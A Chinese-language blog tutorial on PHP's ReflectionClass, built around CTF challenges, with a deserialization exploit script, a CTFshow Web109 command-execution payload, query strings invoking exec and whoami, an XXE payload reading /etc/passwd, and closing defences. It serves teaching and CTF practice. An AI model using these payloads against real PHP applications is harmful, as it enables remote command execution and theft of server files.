PHP特性之反射類ReflectionClass機制
PHP特性之反射類ReflectionClass機制
引例
最近在刷polarD&N靶場的時候,做到了一道關(guān)于ReflectionClass機制
原題是這樣的
<?php
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
public function __toString() {
if (file_exists('/flag')) {
return file_get_contents('/flag');
} else {
return "Flag file not found!";
}
}
}
class DataValidator {
public static function check($input) {
$filtered = preg_replace('/[^\w]/', '', $input);
return strlen($filtered) > 10 ? true : false;
}
public function __invoke($data) {
return self::check($data);
}
}
class FakeDanger {
private $buffer;
public function __construct($data) {
$this->buffer = base64_encode($data);
}
public function __wakeup() {
if (rand(0, 100) > 50) {
$this->buffer = str_rot13($this->buffer);
}
}
}
class VulnerableClass {
public $logger;
private $debugMode = false;
public function __destruct() {
if ($this->debugMode) {
echo $this->logger;
} else {
$this->cleanup();
}
}
private function cleanup() {
if ($this->logger instanceof DataValidator) {
$this->logger = null;
}
}
}
function sanitize_input($data) {
$data = trim($data);
return htmlspecialchars($data, ENT_QUOTES);
}
if(isset($_GET['data'])) {
$raw = base64_decode($_GET['data']);
if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) {
unserialize($raw);
}
} else {
highlight_file(__FILE__);
}
?>
乍一看有這么多類,我們依舊尋找題目的突破點
關(guān)鍵類
FlagReader類
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
public function __toString() {
if (file_exists('/flag')) {
return file_get_contents('/flag');
} else {
return "Flag file not found!";
}
}
}
VulnerableClass類
class VulnerableClass {
public $logger;
private $debugMode = false;
public function __destruct() {
if ($this->debugMode) {
echo $this->logger;
} else {
$this->cleanup();
}
}
private function cleanup() {
if ($this->logger instanceof DataValidator) {
$this->logger = null;
}
}
}
能直接獲取flag的只有FlagReader類的toString()方法
__toString()是 PHP 的魔術(shù)方法,當對象被當作字符串使用時(比如echo $obj)會自動調(diào)用。所以我們的核心目標是:讓FlagReader實例被當作字符串輸出
再看VulnerableClass的__destruct()方法(對象銷毀時自動調(diào)用):
這里有兩個關(guān)鍵條件:
$this->debugMode必須為true,才會執(zhí)行echo $this->logger$this->logger必須是FlagReader實例,這樣echo時才會觸發(fā)其__toString()
所以我們需要構(gòu)造一個VulnerableClass對象,滿足:
debugMode = truelogger = FlagReader實例
為什么需要反射機制?
VulnerableClass中的debugMode是私有屬性:
class VulnerableClass {
public $logger;
private $debugMode = false; // private屬性,外部無法直接修改
}
私有屬性(private)的訪問權(quán)限被嚴格限制:
- 不能通過
$vuln->debugMode = true直接修改 - 即使在類外部重新定義類,也無法繞過訪問限制
這時候就需要反射機制(Reflection) 來突破限制:
// 1. 獲取VulnerableClass的反射類
$ref = new ReflectionClass($vuln);
// 2. 獲取debugMode屬性的反射對象
$debugMode = $ref->getProperty('debugMode');
// 3. 強制設(shè)置該屬性可訪問(突破private限制)
$debugMode->setAccessible(true);
// 4. 修改屬性值為true
$debugMode->setValue($vuln, true);
強行將私有屬性debugMode從false改為true,這是整個 EXP 的核心突破點。
<?php
class FlagReader{
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
}
class VulnerableClass {
public $logger;
private $debugMode = false;
}
$flag=new FlagReader();
$vuln=new VulnerableClass();
//1.獲取反射類
$ref=new ReflectionClass($vuln);
//2.獲取debugMode屬性的反射對象
$debugMode=$ref->getProperty('debugMode');
//3.強制設(shè)置該屬性可訪問(突破private限制)
$debugMode->setAccessible(true);
//4.修改屬性值為true
$debugMode->setValue($vuln,true);
$vuln->logger=$flag;
echo base64_encode(serialize($vuln));
詳細闡述
ReflectionClass反射類在PHP5新加入,繼承自Reflector,它可以與已定義的類建立映射關(guān)系,通過反射類可以對類操作
ReflectionClass implements Reflector {
/* 常量 */
const integer IS_IMPLICIT_ABSTRACT = 16 ;
const integer IS_EXPLICIT_ABSTRACT = 32 ;
const integer IS_FINAL = 64 ;
/* 屬性 */
public $name ;
/* 方法 */
public __construct ( mixed $argument )
public static export ( mixed $argument [, bool $return = false ] ) : string
public getConstant ( string $name ) : mixed
public getConstants ( ) : array
public getConstructor ( ) : ReflectionMethod
public getDefaultProperties ( ) : array
public getDocComment ( ) : string
public getEndLine ( ) : int
public getExtension ( ) : ReflectionExtension
public getExtensionName ( ) : string
public getFileName ( ) : string
public getInterfaceNames ( ) : array
public getInterfaces ( ) : array
public getMethod ( string $name ) : ReflectionMethod
public getMethods ([ int $filter ] ) : array
public getModifiers ( ) : int
public getName ( ) : string
public getNamespaceName ( ) : string
public getParentClass ( ) : ReflectionClass
public getProperties ([ int $filter ] ) : array
public getProperty ( string $name ) : ReflectionProperty
public getReflectionConstant ( string $name ) : ReflectionClassConstant|false
public getReflectionConstants ( ) : array
public getShortName ( ) : string
public getStartLine ( ) : int
public getStaticProperties ( ) : array
public getStaticPropertyValue ( string $name [, mixed &$def_value ] ) : mixed
public getTraitAliases ( ) : array
public getTraitNames ( ) : array
public getTraits ( ) : array
public hasConstant ( string $name ) : bool
public hasMethod ( string $name ) : bool
public hasProperty ( string $name ) : bool
public implementsInterface ( string $interface ) : bool
public inNamespace ( ) : bool
public isAbstract ( ) : bool
public isAnonymous ( ) : bool
public isCloneable ( ) : bool
public isFinal ( ) : bool
public isInstance ( object $object ) : bool
public isInstantiable ( ) : bool
public isInterface ( ) : bool
public isInternal ( ) : bool
public isIterable ( ) : bool
public isIterateable ( ) : bool
public isSubclassOf ( string $class ) : bool
public isTrait ( ) : bool
public isUserDefined ( ) : bool
public newInstance ( mixed $args [, mixed $... ] ) : object
public newInstanceArgs ([ array $args ] ) : object
public newInstanceWithoutConstructor ( ) : object
public setStaticPropertyValue ( string $name , string $value ) : void
public __toString ( ) : string
}
反射機制的核心作用
本質(zhì)上是"程序自我檢查"的能力,通過ReflectionClass可以:
- 分析類的結(jié)構(gòu)(屬性、方法、常量、接口、父類等)
- 檢查類的修飾符(public、private、protected、abstract、final 等)
- 動態(tài)調(diào)用類的方法或訪問屬性
- 處理注解信息
- 實現(xiàn)依賴注入、ORM 框架、自動文檔生成等高級功能
ReflectionClass 的基本使用流程
1.實例化 ReflectionClass:傳入類名、對象實例或字符串類名
這里有三種實例化的方式
$reflection = new ReflectionClass('MyClass');
$reflection = new ReflectionClass(new MyClass());
$reflection = new ReflectionClass(MyClass::class);
2.獲取類的基本信息:
echo $reflection->getName(); // 獲取類名
echo $reflection->getNamespaceName(); // 獲取命名空間
var_dump($reflection->isAbstract()); // 是否為抽象類
var_dump($reflection->isFinal()); // 是否為final類
var_dump($reflection->isInterface()); // 是否為接口
3.獲取類的結(jié)構(gòu)信息
- 屬性:
getProperties()返回 ReflectionProperty 數(shù)組 - 方法:
getMethods()返回 ReflectionMethod 數(shù)組 - 常量:
getConstants()返回常量鍵值對數(shù)組 - 父類:
getParentClass()返回父類的 ReflectionClass 實例 - 接口:
getInterfaces()返回實現(xiàn)的接口數(shù)組
常用方法與應用場景
1.探查類的屬性
$properties = $reflection->getProperties();
foreach ($properties as $property) {
echo "屬性名: " . $property->getName() . "\n";
echo "修飾符: " . implode(', ', Reflection::getModifierNames($property->getModifiers())) . "\n";
echo "是否為靜態(tài): " . ($property->isStatic() ? '是' : '否') . "\n";
}
2.動態(tài)調(diào)用方法
即使是私有方法也可以通過反射調(diào)用(需謹慎使用,可能破壞封裝性):
$method = $reflection->getMethod('privateMethod');
$method->setAccessible(true); // 突破訪問限制
$instance = $reflection->newInstance(); // 創(chuàng)建實例
$result = $method->invoke($instance, $param1, $param2); // 調(diào)用方法
3.處理構(gòu)造函數(shù)與依賴注入
// 獲取構(gòu)造函數(shù)
$constructor = $reflection->getConstructor();
if ($constructor) {
// 獲取構(gòu)造函數(shù)參數(shù)
$parameters = $constructor->getParameters();
$dependencies = [];
foreach ($parameters as $param) {
// 解析參數(shù)類型提示,實現(xiàn)自動依賴注入
$paramType = $param->getType();
if ($paramType) {
$dependencies[] = new $paramType->getName();
}
}
// 使用解析的依賴創(chuàng)建實例
$instance = $reflection->newInstanceArgs($dependencies);
}
4.解析類注解
結(jié)合文檔注釋,可以實現(xiàn)簡單的注解功能:
$docComment = $reflection->getDocComment();
// 解析類似 @Entity(table="users") 的注解
preg_match('/@Entity\(table="(.*?)"\)/', $docComment, $matches);
$tableName = $matches[1] ?? 'default_table';
反射機制進一步的利用
如果被惡意利用,可能成為RCE的攻擊向量。主要源于反射機制對類方法、屬性的動態(tài)訪問能力,尤其是能夠控制反射操作的參數(shù)時。
導致RCE核心原理:
- 類名 / 方法名:通過
ReflectionClass動態(tài)指定類和方法,若類名 / 方法名可控,可能調(diào)用危險函數(shù)(如exec、system等)。 - 方法參數(shù):即使類和方法固定,若傳入的參數(shù)可控,可能注入惡意指令(如命令注入)。
- 訪問控制繞過:反射的
setAccessible(true)可突破私有方法限制,若被攻擊利用,可能觸發(fā)類內(nèi)部的危險邏輯。
這里舉一個CTFshowWeb109的例子
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
new $v1 創(chuàng)建了一個名為v1的實例,調(diào)用v2方法。echo 一個對象 觸犯反序列化的__toString()魔術(shù)方法,也就是本題的利用點
魔術(shù)方法 __toString() 在對象被當作字符串處理時自動調(diào)用。很多 PHP 內(nèi)置類(如 Exception、CachingIterator 和 ReflectionClass)都實現(xiàn)了這個方法。
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
//同時也可以用別的內(nèi)置類
上面是直接利用的例子
接下來我們看一下特殊的攻擊場景
1.可控類名+方法名的反射調(diào)用
若代碼中通過反射動態(tài)調(diào)用類方法,且類名和方法名由用戶輸入控制,攻擊者可構(gòu)造惡意類名和方法名觸發(fā)命令執(zhí)行:
$className = $_GET['class']; // 攻擊者可控
$methodName = $_GET['method']; // 攻擊者可控
try {
$reflection = new ReflectionClass($className);
$method = $reflection->getMethod($methodName);
$method->invoke(null); // 靜態(tài)方法調(diào)用
} catch (Exception $e) {
// 異常處理
}
攻擊者可構(gòu)造 URL 參數(shù):
?class=ReflectionFunction&method=invoke
(這邊解釋一下啊,ReflectionFunction是PHP內(nèi)置的反射類,用于分析函數(shù)信息。調(diào)用invoke()方法會執(zhí)行被反射的函數(shù),從而觸發(fā)惡意代碼)
配合參數(shù)注入,甚至可調(diào)用exec等函數(shù):
?class=ReflectionFunction&method=invoke&func=exec¶m=whoami
2.利用反射調(diào)用危險內(nèi)置類 / 方法
PHP 的部分內(nèi)置類(如DirectoryIterator、SimpleXMLElement)或擴展類,若通過反射動態(tài)調(diào)用其方法并傳入惡意參數(shù),可能導致 RCE
$className = 'SimpleXMLElement';
$methodName = '__construct';
$userInput = $_GET['xml']; // 攻擊者可控
$reflection = new ReflectionClass($className);
$method = $reflection->getMethod($methodName);
// 若$userInput包含惡意XML(如XXE攻擊),可能導致文件讀取或RCE
$method->invokeArgs($reflection->newInstanceWithoutConstructor(), [$userInput, LIBXML_NOENT]);
可構(gòu)造外部實體聲明的XML,讀取服務器本地文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
將上述內(nèi)容作為 xml 參數(shù)傳入(即 ?xml=上述XML內(nèi)容),PHP 解析后會將 /etc/passwd 文件內(nèi)容替換到 &xxe; 位置,導致敏感文件被讀取并可能通過后續(xù)邏輯泄露。
3.繞過訪問控制執(zhí)行私有危險方法
若類中存在私有方法包含危險操作(如執(zhí)行系統(tǒng)命令),攻擊者可通過反射的setAccessible(true)突破限制并調(diào)用:
class DangerousClass {
private function execCommand($cmd) {
return shell_exec($cmd); // 危險操作
}
}
// 攻擊者可控參數(shù)
$className = 'DangerousClass';
$methodName = 'execCommand';
$cmd = $_GET['cmd']; // 攻擊者注入命令
$reflection = new ReflectionClass($className);
$method = $reflection->getMethod($methodName);
$method->setAccessible(true); // 繞過私有訪問限制
$result = $method->invoke($reflection->newInstance(), $cmd); // 執(zhí)行惡意命令
通過?cmd=whoami即可觸發(fā)命令執(zhí)行
防御措施
-
嚴格過濾輸入:對反射操作中使用的類名、方法名、參數(shù)進行白名單校驗,禁止用戶輸入直接作為反射參數(shù)。
// 安全示例:白名單限制允許的類和方法 $allowedClasses = ['MySafeClass', 'Utils']; $allowedMethods = ['getData', 'format']; if (!in_array($className, $allowedClasses) || !in_array($methodName, $allowedMethods)) { die('Invalid class or method'); } -
避免動態(tài)調(diào)用危險函數(shù):禁止通過反射調(diào)用
exec、system、shell_exec等命令執(zhí)行函數(shù),以及eval、assert等代碼執(zhí)行函數(shù)。 -
謹慎使用
setAccessible:除非必要,否則不使用setAccessible(true)繞過訪問控制,尤其避免對包含敏感操作的私有方法使用。 -
限制反射范圍:在框架或庫中,反射應僅用于已知的、可信的類和方法,避免對用戶可控的未知類進行反射操作。
-
開啟 PHP 安全配置:禁用危險函數(shù)(
disable_functions)、限制 XML 外部實體(libxml_disable_entity_loader(true))等,降低攻擊成功概率

浙公網(wǎng)安備 33010602011771號